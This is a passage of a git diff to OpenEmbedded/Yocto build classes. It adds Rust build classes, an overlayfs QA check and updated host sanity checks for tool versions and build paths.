# Set default target for systemd images
-SYSTEMD_DEFAULT_TARGET ?= '${@bb.utils.contains("IMAGE_FEATURES", "x11-base", "graphical.target", "multi-user.target", d)}'
+SYSTEMD_DEFAULT_TARGET ?= '${@bb.utils.contains_any("IMAGE_FEATURES", [ "x11-base", "weston" ], "graphical.target", "multi-user.target", d)}'
ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "systemd", "set_systemd_default_target; systemd_create_users;", "", d)}'
ROOTFS_POSTPROCESS_COMMAND += 'empty_var_volatile;'
+ROOTFS_POSTPROCESS_COMMAND += '${@bb.utils.contains("DISTRO_FEATURES", "overlayfs", "overlayfs_qa_check;", "", d)}'
+
inherit image-artifact-names
# Sort the user and group entries in /etc by ID in order to make the content
@@ -60,7 +62,7 @@ python () {
}
systemd_create_users () {
- for conffile in ${IMAGE_ROOTFS}/usr/lib/sysusers.d/systemd.conf ${IMAGE_ROOTFS}/usr/lib/sysusers.d/systemd-remote.conf; do
+ for conffile in ${IMAGE_ROOTFS}/usr/lib/sysusers.d/*.conf; do
[ -e $conffile ] || continue
grep -v "^#" $conffile | sed -e '/^$/d' | while read type name id comment; do
if [ "$type" = "u" ]; then
@@ -216,8 +218,8 @@ postinst_enable_logging () {
# Modify systemd default target
#
set_systemd_default_target () {
- if [ -d ${IMAGE_ROOTFS}${sysconfdir}/systemd/system -a -e ${IMAGE_ROOTFS}${systemd_unitdir}/system/${SYSTEMD_DEFAULT_TARGET} ]; then
- ln -sf ${systemd_unitdir}/system/${SYSTEMD_DEFAULT_TARGET} ${IMAGE_ROOTFS}${sysconfdir}/systemd/system/default.target
+ if [ -d ${IMAGE_ROOTFS}${sysconfdir}/systemd/system -a -e ${IMAGE_ROOTFS}${systemd_system_unitdir}/${SYSTEMD_DEFAULT_TARGET} ]; then
+ ln -sf ${systemd_system_unitdir}/${SYSTEMD_DEFAULT_TARGET} ${IMAGE_ROOTFS}${sysconfdir}/systemd/system/default.target
fi
}
@@ -373,3 +375,26 @@ rootfs_reproducible () {
fi
fi
}
+
+python overlayfs_qa_check() {
+ from oe.overlayfs import mountUnitName
+
+ # this is a dumb check for unit existence, not its validity
+ overlayMountPoints = d.getVarFlags("OVERLAYFS_MOUNT_POINT")
+ imagepath = d.getVar("IMAGE_ROOTFS")
+ searchpaths = [oe.path.join(imagepath, d.getVar("sysconfdir"), "systemd", "system"),
+ oe.path.join(imagepath, d.getVar("systemd_system_unitdir"))]
+
+ allUnitExist = True;
+ for mountPoint in overlayMountPoints:
+ path = d.getVarFlag('OVERLAYFS_MOUNT_POINT', mountPoint)
+ unit = mountUnitName(path)
+
+ if not any(os.path.isfile(oe.path.join(dirpath, unit))
+ for dirpath in searchpaths):
+ bb.warn('Unit name %s not found in systemd unit directories' % unit)
+ allUnitExist = False;
+
+ if not allUnitExist:
+ bb.fatal('Not all mount units are installed by the BSP')
+}
diff --git a/meta/classes/rootfs_deb.bbclass b/meta/classes/rootfs_deb.bbclass
index ef616da229..0469ba7059 100644
--- a/meta/classes/rootfs_deb.bbclass
+++ b/meta/classes/rootfs_deb.bbclass
@@ -32,4 +32,8 @@ python () {
d.setVar('DEB_SDK_ARCH', 'amd64')
elif darch == "arm":
d.setVar('DEB_SDK_ARCH', 'armel')
+ elif darch == "aarch64":
+ d.setVar('DEB_SDK_ARCH', 'arm64')
+ else:
+ bb.fatal("Unhandled SDK_ARCH %s" % darch)
}
diff --git a/meta/classes/rootfs_ipk.bbclass b/meta/classes/rootfs_ipk.bbclass
index f1e0219732..245c256a6f 100644
--- a/meta/classes/rootfs_ipk.bbclass
+++ b/meta/classes/rootfs_ipk.bbclass
@@ -14,8 +14,8 @@ do_rootfs[recrdeptask] += "do_package_write_ipk do_package_qa"
do_rootfs[vardeps] += "PACKAGE_FEED_URIS PACKAGE_FEED_BASE_PATHS PACKAGE_FEED_ARCHS"
do_rootfs[lockfiles] += "${WORKDIR}/ipk.lock"
-do_populate_sdk[lockfiles] += "${WORKDIR}/ipk.lock"
-do_populate_sdk_ext[lockfiles] += "${WORKDIR}/ipk.lock"
+do_populate_sdk[lockfiles] += "${WORKDIR}/sdk-ipk.lock"
+do_populate_sdk_ext[lockfiles] += "${WORKDIR}/sdk-ipk.lock"
OPKG_PREPROCESS_COMMANDS = ""
diff --git a/meta/classes/rootfs_rpm.bbclass b/meta/classes/rootfs_rpm.bbclass
index 0af7d65b1a..3d8d784f79 100644
--- a/meta/classes/rootfs_rpm.bbclass
+++ b/meta/classes/rootfs_rpm.bbclass
@@ -9,7 +9,7 @@ export STAGING_INCDIR
export STAGING_LIBDIR
# Add 100Meg of extra space for dnf
-IMAGE_ROOTFS_EXTRA_SPACE_append = "${@bb.utils.contains("PACKAGE_INSTALL", "dnf", " + 102400", "", d)}"
+IMAGE_ROOTFS_EXTRA_SPACE:append = "${@bb.utils.contains("PACKAGE_INSTALL", "dnf", " + 102400", "", d)}"
# Dnf is python based, so be sure python3-native is available to us.
EXTRANATIVEPATH += "python3-native"
diff --git a/meta/classes/rust-bin.bbclass b/meta/classes/rust-bin.bbclass
new file mode 100644
index 0000000000..c87343b3cf
--- /dev/null
+++ b/meta/classes/rust-bin.bbclass
@@ -0,0 +1,149 @@
+inherit rust
+
+RDEPENDS:${PN}:append:class-target = " ${RUSTLIB_DEP}"
+
+RUSTC_ARCHFLAGS += "-C opt-level=3 -g -L ${STAGING_DIR_HOST}/${rustlibdir} -C linker=${RUST_TARGET_CCLD}"
+EXTRA_OEMAKE += 'RUSTC_ARCHFLAGS="${RUSTC_ARCHFLAGS}"'
+
+# Some libraries alias with the standard library but libstd is configured to
+# make it difficult or imposisble to use its version. Unfortunately libstd
+# must be explicitly overridden using extern.
+OVERLAP_LIBS = "\
+ libc \
+ log \
+ getopts \
+ rand \
+"
+def get_overlap_deps(d):
+ deps = d.getVar("DEPENDS").split()
+ overlap_deps = []
+ for o in d.getVar("OVERLAP_LIBS").split():
+ l = len([o for dep in deps if (o + '-rs' in dep)])
+ if l > 0:
+ overlap_deps.append(o)
+ return " ".join(overlap_deps)
+OVERLAP_DEPS = "${@get_overlap_deps(d)}"
+
+# Prevents multiple static copies of standard library modules
+# See https://github.com/rust-lang/rust/issues/19680
+RUSTC_PREFER_DYNAMIC = "-C prefer-dynamic"
+RUSTC_FLAGS += "${RUSTC_PREFER_DYNAMIC}"
+
+CRATE_NAME ?= "${@d.getVar('BPN').replace('-rs', '').replace('-', '_')}"
+BINNAME ?= "${BPN}"
+LIBNAME ?= "lib${CRATE_NAME}-rs"
+CRATE_TYPE ?= "dylib"
+BIN_SRC ?= "${S}/src/main.rs"
+LIB_SRC ?= "${S}/src/lib.rs"
+
+rustbindest ?= "${bindir}"
+rustlibdest ?= "${rustlibdir}"
+RUST_RPATH_ABS ?= "${rustlibdir}:${rustlib}"
+
+def relative_rpaths(paths, base):
+ relpaths = set()
+ for p in paths.split(':'):
+ if p == base:
+ relpaths.add('$ORIGIN')
+ continue
+ relpaths.add(os.path.join('$ORIGIN', os.path.relpath(p, base)))
+ return '-rpath=' + ':'.join(relpaths) if len(relpaths) else ''
+
+RUST_LIB_RPATH_FLAGS ?= "${@relative_rpaths(d.getVar('RUST_RPATH_ABS', True), d.getVar('rustlibdest', True))}"
+RUST_BIN_RPATH_FLAGS ?= "${@relative_rpaths(d.getVar('RUST_RPATH_ABS', True), d.getVar('rustbindest', True))}"
+
+def libfilename(d):
+ if d.getVar('CRATE_TYPE', True) == 'dylib':
+ return d.getVar('LIBNAME', True) + '.so'
+ else:
+ return d.getVar('LIBNAME', True) + '.rlib'
+
+def link_args(d, bin):
+ linkargs = []
+ if bin:
+ rpaths = d.getVar('RUST_BIN_RPATH_FLAGS', False)
+ else:
+ rpaths = d.getVar('RUST_LIB_RPATH_FLAGS', False)
+ if d.getVar('CRATE_TYPE', True) == 'dylib':
+ linkargs.append('-soname')
+ linkargs.append(libfilename(d))
+ if len(rpaths):
+ linkargs.append(rpaths)
+ if len(linkargs):
+ return ' '.join(['-Wl,' + arg for arg in linkargs])
+ else:
+ return ''
+
+get_overlap_externs () {
+ externs=
+ for dep in ${OVERLAP_DEPS}; do
+ extern=$(ls ${STAGING_DIR_HOST}/${rustlibdir}/lib$dep-rs.{so,rlib} 2>/dev/null \
+ | awk '{print $1}');
+ if [ -n "$extern" ]; then
+ externs="$externs --extern $dep=$extern"
+ else
+ echo "$dep in depends but no such library found in ${rustlibdir}!" >&2
+ exit 1
+ fi
+ done
+ echo "$externs"
+}
+
+do_configure () {
+}
+
+oe_runrustc () {
+ export RUST_TARGET_PATH="${RUST_TARGET_PATH}"
+ bbnote ${RUSTC} ${RUSTC_ARCHFLAGS} ${RUSTC_FLAGS} "$@"
+ "${RUSTC}" ${RUSTC_ARCHFLAGS} ${RUSTC_FLAGS} "$@"
+}
+
+oe_compile_rust_lib () {
+ rm -rf ${LIBNAME}.{rlib,so}
+ local -a link_args
+ if [ -n '${@link_args(d, False)}' ]; then
+ link_args[0]='-C'
+ link_args[1]='link-args=${@link_args(d, False)}'
+ fi
+ oe_runrustc $(get_overlap_externs) \
+ "${link_args[@]}" \
+ ${LIB_SRC} \
+ -o ${@libfilename(d)} \
+ --crate-name=${CRATE_NAME} --crate-type=${CRATE_TYPE} \
+ "$@"
+}
+oe_compile_rust_lib[vardeps] += "get_overlap_externs"
+
+oe_compile_rust_bin () {
+ rm -rf ${BINNAME}
+ local -a link_args
+ if [ -n '${@link_args(d, True)}' ]; then
+ link_args[0]='-C'
+ link_args[1]='link-args=${@link_args(d, True)}'
+ fi
+ oe_runrustc $(get_overlap_externs) \
+ "${link_args[@]}" \
+ ${BIN_SRC} -o ${BINNAME} "$@"
+}
+oe_compile_rust_bin[vardeps] += "get_overlap_externs"
+
+oe_install_rust_lib () {
+ for lib in $(ls ${LIBNAME}.{so,rlib} 2>/dev/null); do
+ echo Installing $lib
+ install -D -m 755 $lib ${D}/${rustlibdest}/$lib
+ done
+}
+
+oe_install_rust_bin () {
+ echo Installing ${BINNAME}
+ install -D -m 755 ${BINNAME} ${D}/${rustbindest}/${BINNAME}
+}
+
+do_rust_bin_fixups() {
+ for f in `find ${PKGD} -name '*.so*'`; do
+ echo "Strip rust note: $f"
+ ${OBJCOPY} -R .note.rustc $f $f
+ done
+}
+PACKAGE_PREPROCESS_FUNCS += "do_rust_bin_fixups"
+
diff --git a/meta/classes/rust-common.bbclass b/meta/classes/rust-common.bbclass
new file mode 100644
index 0000000000..98d65970e8
--- /dev/null
+++ b/meta/classes/rust-common.bbclass
@@ -0,0 +1,181 @@
+inherit python3native
+
+# Common variables used by all Rust builds
+export rustlibdir = "${libdir}/rust"
+FILES:${PN} += "${rustlibdir}/*.so"
+FILES:${PN}-dev += "${rustlibdir}/*.rlib ${rustlibdir}/*.rmeta"
+FILES:${PN}-dbg += "${rustlibdir}/.debug"
+
+RUSTLIB = "-L ${STAGING_LIBDIR}/rust"
+RUST_DEBUG_REMAP = "--remap-path-prefix=${WORKDIR}=/usr/src/debug/${PN}/${EXTENDPE}${PV}-${PR}"
+RUSTFLAGS += "${RUSTLIB} ${RUST_DEBUG_REMAP}"
+RUSTLIB_DEP ?= "libstd-rs"
+export RUST_TARGET_PATH = "${STAGING_LIBDIR_NATIVE}/rustlib"
+RUST_PANIC_STRATEGY ?= "unwind"
+
+# Native builds are not effected by TCLIBC. Without this, rust-native
+# thinks it's "target" (i.e. x86_64-linux) is a musl target.
+RUST_LIBC = "${TCLIBC}"
+RUST_LIBC:class-native = "glibc"
+
+def determine_libc(d, thing):
+ '''Determine which libc something should target'''
+
+ # BUILD is never musl, TARGET may be musl or glibc,
+ # HOST could be musl, but only if a compiler is built to be run on
+ # target in which case HOST_SYS != BUILD_SYS.
+ if thing == 'TARGET':
+ libc = d.getVar('RUST_LIBC')
+ elif thing == 'BUILD' and (d.getVar('HOST_SYS') != d.getVar('BUILD_SYS')):
+ libc = d.getVar('RUST_LIBC')
+ else:
+ libc = d.getVar('RUST_LIBC:class-native')
+
+ return libc
+
+def target_is_armv7(d):
+ '''Determine if target is armv7'''
+ # TUNE_FEATURES may include arm* even if the target is not arm
+ # in the case of *-native packages
+ if d.getVar('TARGET_ARCH') != 'arm':
+ return False
+
+ feat = d.getVar('TUNE_FEATURES')
+ feat = frozenset(feat.split())
+ mach_overrides = d.getVar('MACHINEOVERRIDES')
+ mach_overrides = frozenset(mach_overrides.split(':'))
+
+ v7=frozenset(['armv7a', 'armv7r', 'armv7m', 'armv7ve'])
+ if mach_overrides.isdisjoint(v7) and feat.isdisjoint(v7):
+ return False
+ else:
+ return True
+target_is_armv7[vardepvalue] = "${@target_is_armv7(d)}"
+
+# Responsible for taking Yocto triples and converting it to Rust triples
+def rust_base_triple(d, thing):
+ '''
+ Mangle bitbake's *_SYS into something that rust might support (see
+ rust/mk/cfg/* for a list)
+
+ Note that os is assumed to be some linux form
+ '''
+
+ # The llvm-target for armv7 is armv7-unknown-linux-gnueabihf
+ if thing == "TARGET" and target_is_armv7(d):
+ arch = "armv7"
+ else:
+ arch = d.getVar('{}_ARCH'.format(thing))
+
+ # All the Yocto targets are Linux and are 'unknown'
+ vendor = "-unknown"
+ os = d.getVar('{}_OS'.format(thing))
+ libc = determine_libc(d, thing)
+
+ # Prefix with a dash and convert glibc -> gnu
+ if libc == "glibc":
+ libc = "-gnu"
+ elif libc == "musl":
+ libc = "-musl"
+
+ # Don't double up musl (only appears to be the case on aarch64)
+ if os == "linux-musl":
+ if libc != "-musl":
+ bb.fatal("{}_OS was '{}' but TCLIBC was not 'musl'".format(thing, os))
+ os = "linux"
+
+ # This catches ARM targets and appends the necessary hard float bits
+ if os == "linux-gnueabi" or os == "linux-musleabi":
+ libc = bb.utils.contains('TUNE_FEATURES', 'callconvention-hard', 'hf', '', d)
+ return arch + vendor + '-' + os + libc
+
+# Naming explanation
+# Yocto
+# - BUILD_SYS - Yocto triple of the build environment
+# - HOST_SYS - What we're building for in Yocto
+# - TARGET_SYS - What we're building for in Yocto
+#
+# So when building '-native' packages BUILD_SYS == HOST_SYS == TARGET_SYS
+# When building packages for the image HOST_SYS == TARGET_SYS
+# This is a gross over simplification as there are other modes but
+# currently this is all that's supported.
+#
+# Rust
+# - TARGET - the system where the binary will run
+# - HOST - the system where the binary is being built
+#
+# Rust additionally will use two additional cases:
+# - undecorated (e.g. CC) - equivalent to TARGET
+# - triple suffix (e.g. CC:x86_64_unknown_linux_gnu) - both
+# see: https://github.com/alexcrichton/gcc-rs
+# The way that Rust's internal triples and Yocto triples are mapped together
+# its likely best to not use the triple suffix due to potential confusion.
+
+RUST_BUILD_SYS = "${@rust_base_triple(d, 'BUILD')}"
+RUST_HOST_SYS = "${@rust_base_triple(d, 'HOST')}"
+RUST_TARGET_SYS = "${@rust_base_triple(d, 'TARGET')}"
+
+# wrappers to get around the fact that Rust needs a single
+# binary but Yocto's compiler and linker commands have
+# arguments. Technically the archiver is always one command but
+# this is necessary for builds that determine the prefix and then
+# use those commands based on the prefix.
+WRAPPER_DIR = "${WORKDIR}/wrapper"
+RUST_BUILD_CC = "${WRAPPER_DIR}/build-rust-cc"
+RUST_BUILD_CXX = "${WRAPPER_DIR}/build-rust-cxx"
+RUST_BUILD_CCLD = "${WRAPPER_DIR}/build-rust-ccld"
+RUST_BUILD_AR = "${WRAPPER_DIR}/build-rust-ar"
+RUST_TARGET_CC = "${WRAPPER_DIR}/target-rust-cc"
+RUST_TARGET_CXX = "${WRAPPER_DIR}/target-rust-cxx"
+RUST_TARGET_CCLD = "${WRAPPER_DIR}/target-rust-ccld"
+RUST_TARGET_AR = "${WRAPPER_DIR}/target-rust-ar"
+
+create_wrapper () {
+ file="$1"
+ shift
+
+ cat <<- EOF > "${file}"
+ #!/usr/bin/env python3
+ import os, sys
+ orig_binary = "$@"
+ binary = orig_binary.split()[0]
+ args = orig_binary.split() + sys.argv[1:]
+ os.execvp(binary, args)
+ EOF
+ chmod +x "${file}"
+}
+
+export WRAPPER_TARGET_CC = "${CC}"
+export WRAPPER_TARGET_CXX = "${CXX}"
+export WRAPPER_TARGET_CCLD = "${CCLD}"
+export WRAPPER_TARGET_LDFLAGS = "${LDFLAGS}"
+export WRAPPER_TARGET_AR = "${AR}"
+
+# compiler is used by gcc-rs
+# linker is used by rustc/cargo
+# archiver is used by the build of libstd-rs
+do_rust_create_wrappers () {
+ mkdir -p "${WRAPPER_DIR}"
+
+ # Yocto Build / Rust Host C compiler
+ create_wrapper "${RUST_BUILD_CC}" "${BUILD_CC}"
+ # Yocto Build / Rust Host C++ compiler
+ create_wrapper "${RUST_BUILD_CXX}" "${BUILD_CXX}"
+ # Yocto Build / Rust Host linker
+ create_wrapper "${RUST_BUILD_CCLD}" "${BUILD_CCLD}" "${BUILD_LDFLAGS}"
+ # Yocto Build / Rust Host archiver
+ create_wrapper "${RUST_BUILD_AR}" "${BUILD_AR}"
+
+ # Yocto Target / Rust Target C compiler
+ create_wrapper "${RUST_TARGET_CC}" "${WRAPPER_TARGET_CC}" "${WRAPPER_TARGET_LDFLAGS}"
+ # Yocto Target / Rust Target C++ compiler
+ create_wrapper "${RUST_TARGET_CXX}" "${WRAPPER_TARGET_CXX}"
+ # Yocto Target / Rust Target linker
+ create_wrapper "${RUST_TARGET_CCLD}" "${WRAPPER_TARGET_CCLD}" "${WRAPPER_TARGET_LDFLAGS}"
+ # Yocto Target / Rust Target archiver
+ create_wrapper "${RUST_TARGET_AR}" "${WRAPPER_TARGET_AR}"
+
+}
+
+addtask rust_create_wrappers before do_configure after do_patch do_prepare_recipe_sysroot
+do_rust_create_wrappers[dirs] += "${WRAPPER_DIR}"
diff --git a/meta/classes/rust.bbclass b/meta/classes/rust.bbclass
new file mode 100644
index 0000000000..5c8938d09f
--- /dev/null
+++ b/meta/classes/rust.bbclass
@@ -0,0 +1,45 @@
+inherit rust-common
+
+RUSTC = "rustc"
+
+RUSTC_ARCHFLAGS += "--target=${HOST_SYS} ${RUSTFLAGS}"
+
+def rust_base_dep(d):
+ # Taken from meta/classes/base.bbclass `base_dep_prepend` and modified to
+ # use rust instead of gcc
+ deps = ""
+ if not d.getVar('INHIBIT_DEFAULT_RUST_DEPS'):
+ if (d.getVar('HOST_SYS') != d.getVar('BUILD_SYS')):
+ deps += " virtual/${TARGET_PREFIX}rust ${RUSTLIB_DEP}"
+ else:
+ deps += " rust-native"
+ return deps
+
+DEPENDS:append = " ${@rust_base_dep(d)}"
+
+# BUILD_LDFLAGS
+# ${STAGING_LIBDIR_NATIVE}
+# ${STAGING_BASE_LIBDIR_NATIVE}
+# BUILDSDK_LDFLAGS
+# ${STAGING_LIBDIR}
+# #{STAGING_DIR_HOST}
+# TARGET_LDFLAGS ?????
+#RUSTC_BUILD_LDFLAGS = "\
+# --sysroot ${STAGING_DIR_NATIVE} \
+# -L${STAGING_LIBDIR_NATIVE} \
+# -L${STAGING_BASE_LIBDIR_NATIVE} \
+#"
+
+# XXX: for some reason bitbake sets BUILD_* & TARGET_* but uses the bare
+# variables for HOST. Alias things to make it easier for us.
+HOST_LDFLAGS ?= "${LDFLAGS}"
+HOST_CFLAGS ?= "${CFLAGS}"
+HOST_CXXFLAGS ?= "${CXXFLAGS}"
+HOST_CPPFLAGS ?= "${CPPFLAGS}"
+
+rustlib_suffix="${TUNE_ARCH}${TARGET_VENDOR}-${TARGET_OS}/rustlib/${HOST_SYS}/lib"
+# Native sysroot standard library path
+rustlib_src="${prefix}/lib/${rustlib_suffix}"
+# Host sysroot standard library path
+rustlib="${libdir}/${rustlib_suffix}"
+rustlib:class-native="${libdir}/rustlib/${BUILD_SYS}/lib"
diff --git a/meta/classes/sanity.bbclass b/meta/classes/sanity.bbclass
index 3262d08fbf..0e20589b22 100644
--- a/meta/classes/sanity.bbclass
+++ b/meta/classes/sanity.bbclass
@@ -199,7 +199,7 @@ def check_toolchain_tune_args(data, tune, multilib, errs):
def check_toolchain_args_present(data, tune, multilib, tune_errors, which):
args_set = (data.getVar("TUNE_%s" % which) or "").split()
- args_wanted = (data.getVar("TUNEABI_REQUIRED_%s_tune-%s" % (which, tune)) or "").split()
+ args_wanted = (data.getVar("TUNEABI_REQUIRED_%s:tune-%s" % (which, tune)) or "").split()
args_missing = []
# If no args are listed/required, we are done.
@@ -227,7 +227,7 @@ def check_toolchain_tune(data, tune, multilib):
overrides = localdata.getVar("OVERRIDES", False) + ":virtclass-multilib-" + multilib
localdata.setVar("OVERRIDES", overrides)
bb.debug(2, "Sanity-checking tuning '%s' (%s) features:" % (tune, multilib))
- features = (localdata.getVar("TUNE_FEATURES_tune-%s" % tune) or "").split()
+ features = (localdata.getVar("TUNE_FEATURES:tune-%s" % tune) or "").split()
if not features:
return "Tuning '%s' has no defined features, and cannot be used." % tune
valid_tunes = localdata.getVarFlags('TUNEVALID') or {}
@@ -249,7 +249,7 @@ def check_toolchain_tune(data, tune, multilib):
tune_errors.append("Feature '%s' is not defined." % feature)
whitelist = localdata.getVar("TUNEABI_WHITELIST")
if whitelist:
- tuneabi = localdata.getVar("TUNEABI_tune-%s" % tune)
+ tuneabi = localdata.getVar("TUNEABI:tune-%s" % tune)
if not tuneabi:
tuneabi = tune
if True not in [x in whitelist.split() for x in tuneabi.split()]:
@@ -281,7 +281,7 @@ def check_toolchain(data):
seen_libs.append(lib)
if not lib in global_multilibs:
tune_error_set.append("Multilib %s is not present in MULTILIB_GLOBAL_VARIANTS" % lib)
- tune = data.getVar("DEFAULTTUNE_virtclass-multilib-%s" % lib)
+ tune = data.getVar("DEFAULTTUNE:virtclass-multilib-%s" % lib)
if tune in seen_tunes:
tune_error_set.append("The tuning '%s' appears in more than one multilib." % tune)
else:
@@ -392,9 +392,12 @@ def check_connectivity(d):
msg = data.getVar('CONNECTIVITY_CHECK_MSG') or ""
if len(msg) == 0:
msg = "%s.\n" % err
- msg += " Please ensure your host's network is configured correctly,\n"
- msg += " or set BB_NO_NETWORK = \"1\" to disable network access if\n"
- msg += " all required sources are on local disk.\n"
+ msg += " Please ensure your host's network is configured correctly.\n"
+ msg += " If your ISP or network is blocking the above URL,\n"
+ msg += " try with another domain name, for example by setting:\n"
+ msg += " CONNECTIVITY_CHECK_URIS = \"https://www.yoctoproject.org/\""
+ msg += " You could also set BB_NO_NETWORK = \"1\" to disable network\n"
+ msg += " access if all required sources are on local disk.\n"
retval = msg
return retval
@@ -459,13 +462,12 @@ def check_sanity_validmachine(sanity_data):
# Patch before 2.7 can't handle all the features in git-style diffs. Some
# patches may incorrectly apply, and others won't apply at all.
def check_patch_version(sanity_data):
- from distutils.version import LooseVersion
import re, subprocess
try:
result = subprocess.check_output(["patch", "--version"], stderr=subprocess.STDOUT).decode('utf-8')
version = re.search(r"[0-9.]+", result.splitlines()[0]).group()
- if LooseVersion(version) < LooseVersion("2.7"):
+ if bb.utils.vercmp_string_op(version, "2.7", "<"):
return "Your version of patch is older than 2.7 and has bugs which will break builds. Please install a newer version of patch.\n"
else:
return None
@@ -475,7 +477,6 @@ def check_patch_version(sanity_data):
# Unpatched versions of make 3.82 are known to be broken. See GNU Savannah Bug 30612.
# Use a modified reproducer from http://savannah.gnu.org/bugs/?30612 to validate.
def check_make_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
@@ -483,7 +484,7 @@ def check_make_version(sanity_data):
except subprocess.CalledProcessError as e:
return "Unable to execute make --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[2]
- if LooseVersion(version) == LooseVersion("3.82"):
+ if bb.utils.vercmp_string_op(version, "3.82", "=="):
# Construct a test file
f = open("makefile_test", "w")
f.write("makefile_test.a: makefile_test_a.c makefile_test_b.c makefile_test.a( makefile_test_a.c makefile_test_b.c)\n")
@@ -527,7 +528,7 @@ def check_wsl(d):
bb.warn("You are running bitbake under WSLv2, this works properly but you should optimize your VHDX file eventually to avoid running out of storage space")
return None
-# Require at least gcc version 6.0.
+# Require at least gcc version 7.5.
#
# This can be fixed on CentOS-7 with devtoolset-6+
# https://www.softwarecollections.org/en/scls/rhscl/devtoolset-6/
@@ -536,27 +537,25 @@ def check_wsl(d):
# built buildtools-extended-tarball)
#
def check_gcc_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
build_cc, version = oe.utils.get_host_compiler_version(sanity_data)
if build_cc.strip() == "gcc":
- if LooseVersion(version) < LooseVersion("6.0"):
- return "Your version of gcc is older than 6.0 and will break builds. Please install a newer version of gcc (you could use the project's buildtools-extended-tarball or use scripts/install-buildtools).\n"
+ if bb.utils.vercmp_string_op(version, "7.5", "<"):
+ return "Your version of gcc is older than 7.5 and will break builds. Please install a newer version of gcc (you could use the project's buildtools-extended-tarball or use scripts/install-buildtools).\n"
return None
# Tar version 1.24 and onwards handle overwriting symlinks correctly
# but earlier versions do not; this needs to work properly for sstate
# Version 1.28 is needed so opkg-build works correctly when reproducibile builds are enabled
def check_tar_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
result = subprocess.check_output(["tar", "--version"], stderr=subprocess.STDOUT).decode('utf-8')
except subprocess.CalledProcessError as e:
return "Unable to execute tar --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[3]
- if LooseVersion(version) < LooseVersion("1.28"):
+ if bb.utils.vercmp_string_op(version, "1.28", "<"):
return "Your version of tar is older than 1.28 and does not have the support needed to enable reproducible builds. Please install a newer version of tar (you could use the project's buildtools-tarball from our last release or use scripts/install-buildtools).\n"
return None
@@ -564,14 +563,13 @@ def check_tar_version(sanity_data):
# The kernel tools assume git >= 1.8.3.1 (verified needed > 1.7.9.5) see #6162
# The git fetcher also had workarounds for git < 1.7.9.2 which we've dropped
def check_git_version(sanity_data):
- from distutils.version import LooseVersion
import subprocess
try:
result = subprocess.check_output(["git", "--version"], stderr=subprocess.DEVNULL).decode('utf-8')
except subprocess.CalledProcessError as e:
return "Unable to execute git --version, exit code %d\n%s\n" % (e.returncode, e.output)
version = result.split()[2]
- if LooseVersion(version) < LooseVersion("1.8.3.1"):
+ if bb.utils.vercmp_string_op(version, "1.8.3.1", "<"):
return "Your version of git is older than 1.8.3.1 and has bugs which will break builds. Please install a newer version of git.\n"
return None
@@ -703,6 +701,23 @@ def check_sanity_version_change(status, d):
if (tmpdirmode & stat.S_ISUID):
status.addresult("TMPDIR is setuid, please don't build in a setuid directory")
+ # Check that a user isn't building in a path in PSEUDO_IGNORE_PATHS
+ pseudoignorepaths = d.getVar('PSEUDO_IGNORE_PATHS', expand=True).split(",")
+ workdir = d.getVar('WORKDIR', expand=True)
+ for i in pseudoignorepaths:
+ if i and workdir.startswith(i):
+ status.addresult("You are building in a path included in PSEUDO_IGNORE_PATHS " + str(i) + " please locate the build outside this path.\n")
+
+ # Check if PSEUDO_IGNORE_PATHS and and paths under pseudo control overlap
+ pseudoignorepaths = d.getVar('PSEUDO_IGNORE_PATHS', expand=True).split(",")
+ pseudo_control_dir = "${D},${PKGD},${PKGDEST},${IMAGEROOTFS},${SDK_OUTPUT}"
+ pseudocontroldir = d.expand(pseudo_control_dir).split(",")
+ for i in pseudoignorepaths:
+ for j in pseudocontroldir:
+ if i and j:
+ if j.startswith(i):
+ status.addresult("A path included in PSEUDO_IGNORE_PATHS " + str(i) + " and the path " + str(j) + " overlap and this will break pseudo permission and ownership tracking. Please set the path " + str(j) + " to a different directory which does not overlap with pseudo controlled directories. \n")
+
# Some third-party software apparently relies on chmod etc. being suid root (!!)
import stat
suid_check_bins = "chown chmod mknod".split()
@@ -770,15 +785,14 @@ def check_sanity_everybuild(status, d):
if 0 == os.getuid():
raise_sanity_error("Do not use Bitbake as root.", d)
- # Check the Python version, we now have a minimum of Python 3.4
+ # Check the Python version, we now have a minimum of Python 3.6
import sys
- if sys.hexversion < 0x030500F0:
- status.addresult('The system requires at least Python 3.5 to run. Please update your Python interpreter.\n')
+ if sys.hexversion < 0x030600F0:
+ status.addresult('The system requires at least Python 3.6 to run. Please update your Python interpreter.\n')
# Check the bitbake version meets minimum requirements
- from distutils.version import LooseVersion
minversion = d.getVar('BB_MIN_VERSION')
- if (LooseVersion(bb.__version__) < LooseVersion(minversion)):
+ if bb.utils.vercmp_string_op(bb.__version__, minversion, "<"):
status.addresult('Bitbake version %s is required and version %s was found\n' % (minversion, bb.__version__))
sanity_check_locale(d)
@@ -787,6 +801,11 @@ def check_sanity_everybuild(status, d):
if "." in paths or "./" in paths or "" in paths:
status.addresult("PATH contains '.', './' or '' (empty element), which will break the build, please remove this.\nParsed PATH is " + str(paths) + "\n")
+ #Check if bitbake is present in PATH environment variable
+ bb_check = bb.utils.which(d.getVar('PATH'), 'bitbake')
+ if not bb_check:
+ bb.warn("bitbake binary is not found in PATH, did you source the script?")
+
# Check whether 'inherit' directive is found (used for a class to inherit)
# in conf file it's supposed to be uppercase INHERIT
inherit = d.getVar('inherit')
@@ -860,20 +879,25 @@ def check_sanity_everybuild(status, d):
except:
pass
- oeroot = d.getVar('COREBASE')
- if oeroot.find('+') != -1:
- status.addresult("Error, you have an invalid character (+) in your COREBASE directory path. Please move the installation to a directory which doesn't include any + characters.")
- if oeroot.find('@') != -1:
- status.addresult("Error, you have an invalid character (@) in your COREBASE directory path. Please move the installation to a directory which doesn't include any @ characters.")
- if oeroot.find(' ') != -1:
- status.addresult("Error, you have a space in your COREBASE directory path. Please move the installation to a directory which doesn't include a space since autotools doesn't support this.")
+ for checkdir in ['COREBASE', 'TMPDIR']:
+ val = d.getVar(checkdir)
+ if val.find('..') != -1:
+ status.addresult("Error, you have '..' in your %s directory path. Please ensure the variable contains an absolute path as this can break some recipe builds in obtuse ways." % checkdir)
+ if val.find('+') != -1:
+ status.addresult("Error, you have an invalid character (+) in your %s directory path. Please move the installation to a directory which doesn't include any + characters." % checkdir)
